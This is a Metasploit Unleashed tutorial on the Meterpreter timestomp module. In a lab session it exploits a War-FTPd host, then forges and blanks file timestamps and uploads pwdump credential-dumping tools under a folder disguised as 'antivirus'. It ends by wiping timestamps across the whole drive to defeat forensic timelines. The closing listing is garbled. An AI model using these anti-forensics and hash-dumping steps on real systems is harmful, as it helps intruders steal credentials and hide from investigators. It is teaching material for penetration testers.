TimeStomp

From Metasploit Unleashed

Interacting with most file systems is like walking in the snow...you will leave footprints. How detailed those footprints are, how much can be learned from them, and how long they last all depends on various circumstances. The art of analyzing these artifacts is digital forensics. For various reasons, when conducting a pen test you may want to make it hard for a forensic analyst to determine the actions that you took.

The best way to avoid detection by a forensic investigation is simple: Don't touch the filesystem! This is one of the beautiful things about meterpreter, it loads into memory without writing anything to disk, greatly minimizing the artifacts it leaves on a system. However, in many cases you may have to interact with the file system in some way. In those cases timestomp can be a great tool.

Lets look at a file on the system, and the MAC (Modified, Accessed, Changed) times of the file:

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 5/3/2009 2:30:08 AM
Last Accessed: 5/3/2009 2:31:39 AM
Last Modified: 5/3/2009 2:30:36 AM

We will now start by exploiting the system, and loading up a meterpreter session. After that, we will load the timestomp module, and take a quick look at the file in question.

msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)
meterpreter > use priv
Loading extension priv...success.
meterpreter > timestomp -h

Usage: timestomp file_path OPTIONS

OPTIONS:

-a   Set the "last accessed" time of the file
-b        Set the MACE timestamps so that EnCase shows blanks
-c   Set the "creation" time of the file
-e   Set the "mft entry modified" time of the file
-f   Set the MACE of attributes equal to the supplied file
-h        Help banner
-m   Set the "last written" time of the file
-r        Set the MACE timestamps recursively on a directory
-v        Display the UTC MACE values of the file
-z   Set all four attributes (MACE) of the file

meterpreter > pwd
C:\Program Files\War-ftpd
meterpreter > cd ..
meterpreter > pwd
C:Program Files
meterpreter > cd ..
meterpreter > cd Documents\ and\ Settings
meterpreter > cd P0WN3D
meterpreter > cd My\ Documents
meterpreter > ls

Listing: C:\Documents and Settings\P0WN3D\My Documents
======================================================

Mode              Size  Type  Last modified                   Name        
----              ----  ----  -------------                   ----        
40777/rwxrwxrwx   0     dir   Wed Dec 31 19:00:00 -0500 1969  .           
40777/rwxrwxrwx   0     dir   Wed Dec 31 19:00:00 -0500 1969  ..          
40555/r-xr-xr-x   0     dir   Wed Dec 31 19:00:00 -0500 1969  My Pictures 
100666/rw-rw-rw-  28    fil   Wed Dec 31 19:00:00 -0500 1969  test.txt
meterpreter > timestomp test.txt -v
Modified      : Sun May 03 04:30:36 -0400 2009
Accessed      : Sun May 03 04:31:51 -0400 2009
Created       : Sun May 03 04:30:08 -0400 2009
Entry Modified: Sun May 03 04:31:44 -0400 2009

Now, lets look at the MAC times displayed. We see that the file was created recently. Lets pretend for a minute that this is a super secret tool that we need to hide. One way to do this might be to set the MAC times to match the MAC times of another file on the system. Lets copy the MAC times from cmd.exe to test.txt to make it blend in a little better.

meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe
[*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe
meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:14:51 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009

There we go! Now it looks as if the text.txt file was created on Dec 7th, 1999. Lets see how it looks from Windows.

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM
Last Modified: 12/7/1999 7:00:00 AM

Success! Notice there is some slight differences between the times through Windows and msf. This is due to the way the timezones are displayed. Windows is displaying the time in -0600, while msf shows the MC times as -0500. When adjusted for the time zone differences, we can see that they match. Also notice that the act of checking the files information within Windows altered the last accessed time. This just goes to show how fragile MAC times can be, and why great care has to be taken when interacting with them.

Lets now make a different change. Where in the previous example, we were looking to make the changes blend in. In some cases, this is just not realistic, and the best you can hope for is to make it harder for an investigator to identify when changes actually occurred. For those situations, timestomp has a great option (-b for blank) where it zeros out the MAC times for a file. Lets take a look.

meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:16:20 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009

meterpreter > timestomp test.txt -b
[*] Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v
Modified      : 2106-02-06 23:28:15 -0700
Accessed      : 2106-02-06 23:28:15 -0700
Created       : 2106-02-06 23:28:15 -0700
Entry Modified: 2106-02-06 23:28:15 -0700

Now, when parsing the MAC times, timestomp lists them as having been created in the year 2106!. This is very interesting, as some poorly written forensic tools have the same problem, and will crash when coming across entries like this. Lets see how the file looks in Windows.

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 1/1/1601
Last Accessed: 5/3/2009 3:21:13 AM
Last Modified: 1/1/1601

Very interesting! Notice that times are no longer displayed, and the data is set to Jan 1, 1601. Any idea why that might be the case? (Hint: http://en.wikipedia.org/wiki/1601#Notes)

meterpreter > cd C:\\WINNT
meterpreter > mkdir antivirus
Creating directory: antivirus
meterpreter > cd antivirus
meterpreter > pwd
C:\WINNT\antivirus
meterpreter > upload /pentest/windows-binaries/passwd-attack/pwdump6 c:\\WINNT\\antivirus\\
[*] uploading  : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe
[*] uploaded   : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe
[*] uploading  : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll
[*] uploaded   : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll
[*] uploading  : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe
[*] uploaded   : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe
meterpreter > ls

Listing: C:\WINNT\antivirus
===========================

Mode              Size    Type  Last modified                   Name          
----              ----    ----  -------------                   ----          
40777/rwxrwxrwx   0       dir   Wed Dec 31 19:00:00 -0500 1969  .             
40777/rwxrwxrwx   0       dir   Wed Dec 31 19:00:00 -0500 1969  ..            
100666/rw-rw-rw-  61440   fil   Wed Dec 31 19:00:00 -0500 1969  LsaExt.dll    
100777/rwxrwxrwx  188416  fil   Wed Dec 31 19:00:00 -0500 1969  PwDump.exe    
100777/rwxrwxrwx  45056   fil   Wed Dec 31 19:00:00 -0500 1969  pwservice.exe 
100666/rw-rw-rw-  27      fil   Wed Dec 31 19:00:00 -0500 1969  sample.txt
meterpreter > cd ..

With our files uploaded, we will now run timestomp on the files to confuse any potential investigator.

meterpreter > timestomp antivirus\\pwdump.exe -v
Modified      : Sun May 03 05:35:56 -0400 2009
Accessed      : Sun May 03 05:35:56 -0400 2009
Created       : Sun May 03 05:35:56 -0400 2009
Entry Modified: Sun May 03 05:35:56 -0400 2009
meterpreter > timestomp antivirus\\LsaExt.dll -v
Modified      : Sun May 03 05:35:56 -0400 2009
Accessed      : Sun May 03 05:35:56 -0400 2009
Created       : Sun May 03 05:35:56 -0400 2009
Entry Modified: Sun May 03 05:35:56 -0400 2009
meterpreter > timestomp antivirus -r
[*] Blanking directory MACE attributes on antivirus

meterpreter > ls
40777/rwxrwxrwx   0      dir   1980-01-01 00:00:00 -0700  ..
100666/rw-rw-rw-  115    fil   2106-02-06 23:28:15 -0700  LsaExt.dll
100666/rw-rw-rw-  12165  fil   2106-02-06 23:28:15 -0700  pwdump.exe

As you can see, meterpreter can no longer get a proper directory listing.

However, there is something to consider in this case. We have hidden when an action occurred, yet it will still be very obvious to an investigator where activity was happening. What would we do if we wanted to hide both when a toolkit was uploaded, and where it was uploaded?

The easiest way to approach this is to zero out the times on the full drive. This will make the job of the investigator very difficult, as traditional time line analysis will not be possible. Lets first look at our WINNTsystem32 directory.

Ok, everything

meterpreter C:WINNT\antivirus meterpreter meterpreter C: meterpreter Listing: C:\ ============ Mode ---- 100777/rwxrwxrwx 0 100666/rw-rw-rw- 0 40777/rwxrwxrwx 0 100444/r--r--r-- 0 100444/r--r--r-- 0 100555/r-xr-xr-x 34468 40555/r-xr-xr-x 0 40777/rwxrwxrwx 0 40777/rwxrwxrwx 0 40777/rwxrwxrwx 0 100555/r-xr-xr-x 148992 100555/r-xr-xr-x 162816 100666/rw-rw-rw- 192 100444/r--r--r-- 214416 100666/rw-rw-rw- meterpreter pwd > cd ../.. > pwd > ls Size Type Last modified Name ---- ---- ------------- ---- fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS fil Wed Dec 31 19:00:00 -0500 1969 NTDETECT.COM dir Wed Dec 31 19:00:00 -0500 1969 Program Files dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information dir Wed Dec 31 19:00:00 -0500 1969 WINNT fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe fil Wed Dec 31 19:00:00 -0500 1969 boot.ini fil Wed Dec 31 19:00:00 -0500 1969 ntldr 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys > timestomp C:\\ -r #0000FF;'>[*] Blanking directory MACE attributes on C:\ > ls Size Type Last modified Name ---- ---- ------------- ---- fil 2106-02-06 23:28:15 -0700 AUTOEXEC.BAT fil 2106-02-06 23:28:15 -0700 CONFIG.SYS fil 2106-02-06 23:28:15 -0700 Documents and Settings fil 2106-02-06 23:28:15 -0700 IO.SYS fil 2106-02-06 23:28:15 -0700 MSDOS.SYS fil 2106-02-06 23:28:15 -0700 NTDETECT.COM

Amazing. Windows has no idea what is going on, and displays crazy times all over the place. Don't get overconfident however. By taking this action, you have also made it very obvious that some adverse activity has occurred on the system. Also, there are many different sources of time-line information on a Windows system other then just MAC times. If a forensic investigator came across a system which has been modified in this manner, they will be running to these alternative information sources. However, the cost of conducting the investigation just went up.

MSF Post Exploitation > TimeStomp